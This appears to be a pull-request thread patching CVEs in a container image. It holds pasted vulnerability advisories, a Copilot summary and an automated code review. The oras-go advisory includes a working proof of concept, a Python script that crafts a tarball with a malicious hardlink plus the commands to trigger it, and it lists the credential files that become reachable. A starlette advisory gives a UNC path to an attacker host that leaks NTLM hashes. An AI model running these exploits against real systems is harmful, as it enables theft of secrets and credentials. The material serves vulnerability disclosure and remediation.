github.com/containerd/containerd/v2 2.2.2 (golang) pkg:golang/github.com/containerd/containerd/v2@2.2.2 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affected range >=2.2.0 <2.2.5 Fixed version 2.2.5 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.203% EPSS Percentile 10th percentile Description Impact A bug was found in containerd where the CRI plugin propagates labels from an image config (LABEL instruction in Dockerfile) to a container without validation. This may result in executing an arbitrary command on the host, via a plugin that consumes container labels for some operations. Patches This bug has been fixed in the following containerd versions: 2.3.2 2.2.5 2.1.9 2.0.10 1.7.33 Users should update to these versions to resolve the issue. Workarounds Ensure that only trusted images are used. Credits The containerd project would like to thank Anthropic Research, in collaboration with Claude, the GKE Security Team using Gemini, and Robert Prast (@robertprast) for independently discovering and responsibly disclosing this issue in accordance with the containerd security policy. For more information If you have any questions or comments about this advisory: Open an issue in containerd Email us at [security@containerd.io](mailto:security@containerd.io) To report a security issue in containerd: Report a new vulnerability Email us at [security@containerd.io](mailto:security@containerd.io) Improper Input Validation Affected range >=2.2.0 <2.2.5 Fixed version 2.2.5 CVSS Score 8.4 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N EPSS Score 0.412% EPSS Percentile 33rd percentile Description Impact containerd's CRI implementation improperly trusts Container Device Interface (CDI) annotations found within untrusted checkpoint image metadata during container restoration. When restoring a container from a checkpoint, containerd preserves CDI-related annotations from the checkpoint archive rather than relying solely on the pod's create-time specification. This allows a user with pod creation permissions to bypass standard Kubernetes resource allocation and device plugin enforcement, injecting arbitrary CDI edits (such as device nodes and host mounts) into the restored container. Successful exploitation requires that the node has CDI enabled and contains a matching host CDI specification for the requested device; environments where CDI is disabled or lacking sensitive device specifications are not affected. Patches This bug has been fixed in the following containerd versions: 2.3.2 2.2.5 2.1.9 Users should update to these versions to resolve the issue. Recreating existing containers restored from untrusted checkpoints may be necessary to remove smuggled configuration. Workarounds Users can mitigate this issue by restricting the restoration of containers from untrusted checkpoint images. If Container Device Interface (CDI) capabilities are not utilized on the node, removing or temporarily relocating host CDI specifications from the default directories (/etc/cdi and /var/run/cdi) will eliminate the reachability of this vulnerability. Credits The containerd project would like to thank Robert Prast (@robertprast) for responsibly disclosing this issue in accordance with the containerd security policy. For more information If you have any questions or comments about this advisory: Open an issue in containerd Email us at [security@containerd.io](mailto:security@containerd.io) To report a security issue in containerd: Report a new vulnerability Email us at [security@containerd.io](mailto:security@containerd.io) Access of Resource Using Incompatible Type ('Type Confusion') Affected range >=2.1.0-beta.0 <2.2.4 Fixed version 2.2.4 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.221% EPSS Percentile 13th percentile Description Impact A bug was found in containerd where containers launched with a numeric User directive that cannot be parsed as a 32-bit integer are incorrectly treated as a username. If a crafted image provides an /etc/passwd file mapping this large numeric string to root, the container ultimately runs as root (UID 0). This allows the Kubernetes runAsNonRoot restriction to be bypassed, causing unexpected behavior for environments that require containers to run as a non-root user. Patches This bug has been fixed in the following containerd versions: 2.3.1 2.2.4 2.0.9 1.7.32 Note: The containerd 2.1 release has reached its end of life and a fixed version is not provided. Users should update to these versions to resolve the issue. Workarounds Ensure that only trusted images are used and that only trusted users have permissions to import images. Alternatively, enforcing a specific numeric runAsUser in the Kubernetes Pod securityContext overrides the USER directive in the image and prevents the bypass. Newer versions of Kubernetes, starting with 1.34, also appear to enforce runAsNonRoot properly regardless of this bug. Credits The containerd project would like to thank Lei Wang (@ssst0n3) for responsibly disclosing this issue in accordance with the containerd security policy. Resources GHSA-265r-hfxg-fhmg (CVE-2024-40635) For more information If there are any questions or comments about this advisory: Open an issue in containerd Send an email to [security@containerd.io](mailto:security@containerd.io) To report a security issue in containerd: Report a new vulnerability Send an email to [security@containerd.io](mailto:security@containerd.io) UNIX Symbolic Link (Symlink) Following Affected range >=2.2.0 <2.2.5 Fixed version 2.2.5 CVSS Score 7.1 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.208% EPSS Percentile 11th percentile Description Impact A bug was found in containerd where the CRI plugin restores container.log from a checkpoint image without validating a symlinked path. This could result in reading an arbitrary file on the host via kubectl logs. Patches This bug has been fixed in the following containerd versions: 2.3.2 2.2.5 2.1.9 Users should update to these versions to resolve the issue. Workarounds Ensure that only trusted images and checkpoints are used. Credits The containerd project would like to thank @gouldnicholas and @davidrxchester, Yuming Zhang and Song Li of Zhejiang University, Sangwon Ryu (@sangwon090), Henry Beberman (@hbeberman) of Microsoft, the GKE Security Team using Gemini, Anthropic Research, in collaboration with Claude, Robert Prast (@robertprast), Kyle Elliott (@kyle-elliott-tob) of Trail of Bits, and Zhenchen Wang (@Plucky923), who independently discovered and responsibly disclosed this issue in accordance with the containerd security policy. For more information If you have any questions or comments about this advisory: Open an issue in containerd Email us at [security@containerd.io](mailto:security@containerd.io) To report a security issue in containerd: Report a new vulnerability Email us at [security@containerd.io](mailto:security@containerd.io)

sqlite 3.49.2-r1 (apk) pkg:apk/alpine/sqlite@3.49.2-r1?os_name=alpine&os_version=3.22 Affected range <=3.49.2-r1 Fixed version Not Fixed EPSS Score 0.175% EPSS Percentile 7th percentile Description Affected range <=3.49.2-r1 Fixed version Not Fixed EPSS Score 0.175% EPSS Percentile 7th percentile Description Affected range <=3.49.2-r1 Fixed version Not Fixed EPSS Score 0.301% EPSS Percentile 22nd percentile Description

oras.land/oras-go/v2 2.6.0 (golang) pkg:golang/oras.land/oras-go/v2@2.6.0 Server-Side Request Forgery (SSRF) Affected range <2.6.1 Fixed version 2.6.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Description Summary oras-go follows a registry-controlled Location header during the monolithic blob upload flow and reuses the Authorization header from the initial POST request for the subsequent PUT request. If a malicious registry returns a cross-host Location, oras-go can send the caller's credentials to an attacker-controlled endpoint. Affected Versions tested: v2.6.0 (commit 03243809936cce826494b5506f724c6dc11115b1, as-of 2026-01-24) range: unknown; likely affects earlier v2.x releases that include the same upload flow Impact Credential leak to an attacker-controlled endpoint and client-side ssrf to a cross-host target. Affected Component registry/remote/repository.go:878-916 (blobStore.completePushAfterInitialPost) Reproduction Attachments include poc.zip with a local-only harness (no real registry required). It runs a fake registry server that returns a cross-host Location and a second server that records whether it received Authorization. unzip -q -o poc.zip -d /tmp/poc cd /tmp/poc/poc-F-ORAS-LOCATION-UPLOAD-001 make canonical make control Recommended Fix validate Location before uploading (scheme + hostname + effective port) against the original request, or require an explicit opt-in allowlist for cross-host upload urls never forward Authorization when the upload target changes host or scheme references security policy: https://github.com/oras-project/oras-go/security/policy vulnerable code: registry/remote/repository.go (see blobStore.completePushAfterInitialPost) Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <=2.6.1 Fixed version Not Fixed CVSS Score 7.1 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N Description Root cause The tar-extraction helper ensureLinkPath at content/file/utils.go:262-275 validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller: func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) { path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION } if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", err } return target, nil // <-- returns the ORIGINAL target, not the validated path } The caller for TypeLink hardlinks then does: case tar.TypeLink: var target string if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil { err = os.Link(target, filePath) } os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page: oldpath and newpath are interpreted relative to the current working directory of the calling process. So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed. Attack An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with: A regular file: payload.tar.gz/README.txt. A hardlink entry: Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative). and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract). When a victim runs oras pull (or any Go code using content.File), the extraction: Validates payload.tar.gz/evil_cwd_link — passes. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"): path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes. Returns target = "victim.secret" (NOT path). Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link"). link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret. The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other. Proof of Concept Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz). Reproduction script (standalone, ~50 lines) attached. Summary of key steps: # 1. Place victim file in the future CWD. mkdir -p cwd-space extract echo "TOP SECRET FROM CWD" > cwd-space/victim.secret # 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE. python3 -c ' import tarfile, io, os with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t: info = tarfile.TarInfo(name="payload.tar.gz/README.txt") c = b"pulled from registry"; info.size = len(c); info.mode = 0o644 info.uid = os.getuid(); info.gid = os.getgid() t.addfile(info, io.BytesIO(c)) link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link") link.type = tarfile.LNKTYPE link.linkname = "victim.secret" # RELATIVE link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid() t.addfile(link) ' # 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space. (cd cwd-space && oras push --oci-layout ../layout:v1 \ payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip) # ... patch layout/blobs/sha256/<manifest> to add # io.deis.oras.content.unpack: "true" on layers[0].annotations ... (cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract) # 4. Observe inode sharing. stat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160 stat -c '%i' cwd-space/victim.secret # → 6554160 (SAME) cat extract/payload.tar.gz/evil_cwd_link # → "TOP SECRET FROM CWD" Observed output: evil_cwd_link (inside extract dir): inode=6554160 victim.secret (in invoker CWD): inode=6554160 *** ESCAPE CONFIRMED *** Reading through the extract-dir hardlink yields the CWD file contents: TOP SECRET FROM CWD A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the library API. Impact Primary: arbitrary-CWD-file read primitive. An attacker-controlled OCI artifact, when pulled by a victim using the oras CLI or any Go program using oras-go/v2/content/file, can create a hardlink inside the victim's extract tree pointing to an arbitrary file in the victim's process CWD (that the invoker UID is permitted to read). Reading the extract-tree hardlink yields that file's contents verbatim. Secondary: inode-sharing tampering primitive. Any tool that later modifies the extract-tree hardlink (write, chmod, truncate, etc.) modifies the CWD file through the shared inode. This violates the "writes inside the extract dir are confined" invariant that downstream tooling (CI systems, container-image builders, artifact scanners) typically depends on. High-severity chains: CI pipelines where oras pull runs from a project workspace containing secrets/credentials (.env, .git/config, service-account tokens). The pulled artifact can hardlink those secrets into a location later archived/mounted/published. Container orchestration where the extract dir is bind-mounted into a lower-trust container while the pull-invoker's CWD is higher-trust. Hardlinks created in the extract tree expose invoker-CWD files across the trust boundary. Kubernetes operators / Flux source-controller using oras-go to fetch artifacts; their CWD is typically / or /root — very sensitive. Multi-tenant registry proxies that use oras-go to fetch and re-serve artifacts; each proxy process has a CWD with configuration, keys, or per-tenant state. Not affected: oras push (tarball creation side): tarDirectory in the same file explicitly skips hardlink generation (line 65 comment: "We don't support hard links and treat it as regular files"), so pushed content cannot trigger this on the server. Symlink extraction path (TypeSymlink): os.Symlink stores the target string verbatim and does not CWD-resolve at creation time. The current ensureLinkPath return-of-target is correct for symlinks (the existing validation correctly models the symlink-follow path). Attack-surface boundary (fs.protected_hardlinks) On Linux with fs.protected_hardlinks=1 (default on modern distros), link(2) additionally requires the linking user to have READ + WRITE permission on the source file (per may_linkat() in the kernel). Verified on Ubuntu 24.04: as non-root, ln /etc/passwd /tmp/x returns EPERM, and the same via the oras PoC path returns link passwd /tmp/.../evil_passwd: operation not permitted. So the attacker cannot use this bug to read arbitrary root-owned files (e.g., /etc/shadow) when the victim invokes oras pull as a regular user. The attack surface depends on the invocation context: Invocation context Reachable file classes oras pull run by a regular user Any file the user OWNS or has write access to in the process CWD: .env, .git/config, .aws/credentials, ~/.ssh/config, project-local secrets, CI workspace files. oras pull run as root (systemd without User=, container entrypoint default root, Kubernetes operator) Every file on the host filesystem. /etc/shadow, /root/.ssh/id_rsa, bind-mounted host paths, service private keys. The user-context attack surface alone is sufficient for supply-chain-grade impact: CI pipelines and developer machines routinely hold API keys, signing keys, and cloud credentials in user-owned files in the working directory. The root-context escalation makes the bug Critical in mainstream Kubernetes/GitOps tooling where oras-go is adopted for artifact distribution. Proposed fix Change ensureLinkPath to expose both the verbatim target (for symlinks) and the resolved absolute path (for hardlinks); have the TypeLink case use the resolved path. // Current behavior preserved for TypeSymlink. TypeLink switches to the resolved // path to avoid CWD-resolution mismatch at os.Link time. func ensureLinkPath(baseAbs, baseRel, link, target string) (symlinkTarget, hardlinkPath string, err error) { path := target if !filepath.IsAbs(target) { path = filepath.Join(filepath.Dir(link), target) } if _, err = resolveRelToBase(baseAbs, baseRel, path); err != nil { return "", "", err } return target, path, nil } case tar.TypeLink: var absTarget string if _, absTarget, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil { err = os.Link(absTarget, filePath) } case tar.TypeSymlink: var symTarget string symTarget, _, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname) if err != nil { return err } if err = os.Symlink(symTarget, filePath); err != nil { ... } Regression test to add: Extend Test_extractTarDirectory_HardLink with a third sub-test that: Creates a sentinel file in the test's t.TempDir() (or an explicitly os.Chdir-entered directory) with a known name, e.g. sentinel.txt. Builds a tarball containing a TypeLink entry with Linkname: "sentinel.txt" (relative). Extracts. Asserts either extractTarDirectory returned an error, OR the resulting hardlink's inode does NOT match the sentinel's inode.

starlette 0.50.0 (pypi) pkg:pypi/starlette@0.50.0 Allocation of Resources Without Limits or Throttling Affected range >=0.4.1 <1.3.1 Fixed version 1.3.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.275% EPSS Percentile 19th percentile Description Summary request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. Details request.form() dispatches to a different parser depending on the Content-Type. For multipart/form-data the max_files, max_fields, and max_part_size limits are forwarded to the parser, but for application/x-www-form-urlencoded the parser is constructed without them. It has no max_fields or max_part_size parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies. Because the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects: Field count drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as f0=v&f1=v&...) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request. Field size drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the FormData, forcing memory allocation proportional to the request body. The equivalent multipart/form-data request is correctly rejected with 400 Too many fields / 400 Field exceeded maximum size. Impact This Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call request.form() on application/x-www-form-urlencoded requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop. Mitigation Upgrade to a patched version, which forwards max_fields and max_part_size to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match multipart/form-data (max_fields=1000, max_part_size=1MB) and can be customized via request.form(max_fields=..., max_part_size=...). Server-Side Request Forgery (SSRF) Affected range <1.1.0 Fixed version 1.1.0 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N EPSS Score 0.368% EPSS Percentile 29th percentile Description Summary When serving static files on Windows, StaticFiles resolves the requested path with os.path.realpath. If a UNC path (such as \\attacker.com\share) reaches the resolver, realpath causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts. Details StaticFiles.lookup_path() joins the requested path onto the served directory and calls os.path.realpath on the result before checking containment with os.path.commonpath. On Windows, a UNC path is absolute, so os.path.join discards the served directory and realpath resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected. This only affects the default configuration (follow_symlink=False), which uses os.path.realpath. The follow_symlink=True branch uses os.path.abspath, which performs no I/O. Impact Applications running on Windows that serve files with StaticFiles (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. StaticFiles is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses. Mitigation Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of StaticFiles avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.

go.opentelemetry.io/otel/sdk 1.42.0 (golang) pkg:golang/go.opentelemetry.io/otel/sdk@1.42.0 Untrusted Search Path Affected range >=1.15.0 <=1.42.0 Fixed version 1.43.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.220% EPSS Percentile 12th percentile Description Summary The fix for GHSA-9h8m-3fm2-qjrq (CVE-2026-24051) changed the Darwin ioreg command to use an absolute path but left the BSD kenv command using a bare name, allowing the same PATH hijacking attack on BSD and Solaris platforms. Root Cause sdk/resource/host_id.go line 42: if result, err := r.execCommand("kenv", "-q", "smbios.system.uuid"); err == nil { Compare with the fixed Darwin path at line 58: result, err := r.execCommand("/usr/sbin/ioreg", "-rd1", "-c", "IOPlatformExpertDevice") The execCommand helper at sdk/resource/host_id_exec.go uses exec.Command(name, arg...) which searches $PATH when the command name contains no path separator. Affected platforms (per build tag in host_id_bsd.go:4): DragonFly BSD, FreeBSD, NetBSD, OpenBSD, Solaris. The kenv path is reached when /etc/hostid does not exist (line 38-40), which is common on FreeBSD systems. Attack Attacker has local access to a system running a Go application that imports go.opentelemetry.io/otel/sdk Attacker places a malicious kenv binary earlier in $PATH Application initializes OpenTelemetry resource detection at startup hostIDReaderBSD.read() calls exec.Command("kenv", ...) which resolves to the malicious binary Arbitrary code executes in the context of the application Same attack vector and impact as CVE-2026-24051. Suggested Fix Use the absolute path: if result, err := r.execCommand("/bin/kenv", "-q", "smbios.system.uuid"); err == nil { On FreeBSD, kenv is located at /bin/kenv.

[Copilot]

Pull request overview

Updates Python dependencies and test setup to address security findings in the pdp-v2 image while documenting remaining upstream-blocked CVEs.

Changes:

• Bump cryptography to >=48.0.1,<49 to address the referenced advisory/CVE.
• Add inline documentation explaining why starlette High CVEs can’t be resolved yet due to OPAL’s dependency cap.
• Add a pytest conftest.py shim to keep aioresponses working with aiohttp versions where ClientResponse requires stream_writer.

Reviewed changes

Copilot reviewed 1 out of 2 changed files in this pull request and generated 1 comment.

File	Description
requirements.txt	Updates cryptography constraint and documents upstream-blocked starlette CVEs.
horizon/tests/conftest.py	Adds a test-only compatibility patch for aioresponses with aiohttp 3.14+ API changes.

---

💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.

[zeevmoney]

Automated review — PER-15358 (pdp-v2 CVE patch)

What this PR does: Reduces Docker Scout-flagged CVEs on permitio/pdp-v2:next from the PDP (Python) side. It bumps cryptography >=46.0.5,<47 -> >=48.0.1,<49 (patches GHSA-537c-gmf6-5ccf, a statically-linked-OpenSSL issue in the wheels), documents inline that the two starlette High CVEs are upstream-blocked by opal's starlette<1 cap, and adds horizon/tests/conftest.py — an aioresponses / aiohttp-3.14 compatibility shim so the test suite stays green without downgrading aiohttp. It also carries an unrelated migration of the pdp-tester CI job from k3d to the aiodocker Docker runtime (see finding 1).

Verdict: APPROVE. No Postable finding is HIGH or CRITICAL (severity rule: only MEDIUM/LOW postable -> approve). The security claims verify out: cryptography 48.0.1 is the fixed version for GHSA-537c-gmf6-5ccf (advisory published 2026-06-09); opal-common / opal-client 0.9.6 (latest) do cap starlette<1,>=0.40.0 and leave cryptography unconstrained, so the bump resolves cleanly; and the bump reaches the shipped image via pip install -r requirements.txt in the Dockerfile. CI on the head shows pytests and pdp-tester green (the shim works, and the Docker-runtime path is actually exercised against the locally-built permitio/pdp-v2:next), docker-scout red (expected — 6 residual upstream-blocked Highs), and security/snyk failed on a quota limit ("used your limit of private tests"), not a finding.

Findings

Postable

#	Sev	File:Line	Category	Description
1	MEDIUM	.github/workflows/tests.yml:112	Isolation / scope	Unrelated pdp-tester k3d->Docker migration bundled into a CVE PR; duplicates and diverges from open PR #319 (PER-15361). Guaranteed merge conflict, and #319's timeout-minutes / pip-cache / non-zero-exit hardening is absent in this copy.

Informational (not on a postable line, out-of-scope, or already-raised dupe)

#	Sev	Ref	Category	Description
I1	LOW	horizon/tests/conftest.py:15	Doc / dep accuracy	Docstring says they "intentionally stay on the aiohttp 3.14.x line" for the June-2026 security fixes, but requirements.txt floors aiohttp>=3.13.3,<4 (opal only needs >=3.9.2), so nothing enforces the 3.14 floor the security reasoning depends on — a clean resolve is only guaranteed >=3.13.3 (Docker Scout is the only current safety net). Already raised by copilot on conftest.py:15 (unresolved); skipped inline as a dupe. Stronger fix than rewording: floor aiohttp>=3.14.x,<4 in requirements.txt.
I2	MEDIUM	PR description	Doc accuracy	The "Note (unrelated, pre-existing): pytest shows 34 failures on both this branch and clean main" paragraph is stale — this PR's own conftest.py fixes exactly that failure, and pytests is green on the head. The note contradicts the change; remove or update it.
I3	INFO	docker-scout (CI)	Mergeability	The Docker Scout high/critical gate stays red (6 upstream-blocked Highs: sqlite-libs x3, oras-go/v2 CVE-2026-50163 x1, starlette x2). If it is a required check, the PR cannot merge until VEX / scout exceptions are added for the accepted-risk CVEs, or upstream patches land. Residual risk is documented in the PR body.
I4	INFO	starlette CVE-2026-48818	Residual-risk nuance	One of the two "residual" starlette Highs (CVE-2026-48818, StaticFiles UNC/SMB SSRF) is Windows-only per the advisory; the pdp-v2 image is Linux (Alpine), so it is not exploitable there (Scout still flags it by version). The genuinely applicable starlette residual is CVE-2026-54283 (urlencoded-form DoS).
I5	INFO	cross-repo (permit-opa#38)	Consistency	The Go CVE fixes (x/crypto, x/net, containerd/v2, oras-go/v2, otel) live in permit-opa#38, not this PR — the image compiles OPA from permitio/permit-opa@main at build time (tests.yml build-pdp-image), so those fixes only land once #38 merges to permit-opa main. This PR touches no go.mod/go.sum; Go-version consistency must be validated in #38.

Blast radius: The requirements.txt bump flows into the shipped image (Dockerfile pip install -r requirements.txt) and is gated by Docker Scout; opal caps were confirmed so there is no resolver conflict; conftest.py is test-only. The bundled tests.yml change collides with open PR #319 on the same file.

Isolation / scope: Out-of-scope but the out-of-scope work (the CI migration) is complete and functional (CI green) — MEDIUM scope creep, compounded by duplication/divergence with #319. The core CVE work (requirements.txt + conftest.py) is well-isolated.

[zeevmoney]

[MEDIUM] Unrelated pdp-tester CI migration bundled into a CVE-patch PR (duplicates open PR #319)

Problem: This PR's stated purpose is patching CVEs in the pdp-v2 image (the requirements.txt cryptography bump + the aioresponses test shim). The entire k3d -> Docker-runtime migration of the pdp-tester job (commit 75d974b) is unrelated to that goal and is the whole subject of a separate open PR, #319 (PER-15361). Both PRs edit .github/workflows/tests.yml, and the two copies have already diverged: #319 additionally adds timeout-minutes: 15 on the job, cache: "pip" on setup-python, and explicit non-zero-exit handling (... || status=$? then a later exit 1) so a tester crash that does not print test cases failed still fails the step. This copy has none of those. Whichever PR merges first forces a conflict on the other; if this (older) copy lands first, #319's hardening is at risk of being dropped or re-litigated during conflict resolution.

Suggestion: Drop the tests.yml change from this PR and let #319 own the pdp-tester migration, keeping this PR scoped to requirements.txt + horizon/tests/conftest.py. Alternatively, if this PR should carry the migration, close #319 and port its timeout-minutes / pip-cache / exit-status handling here so the better version is the one that lands.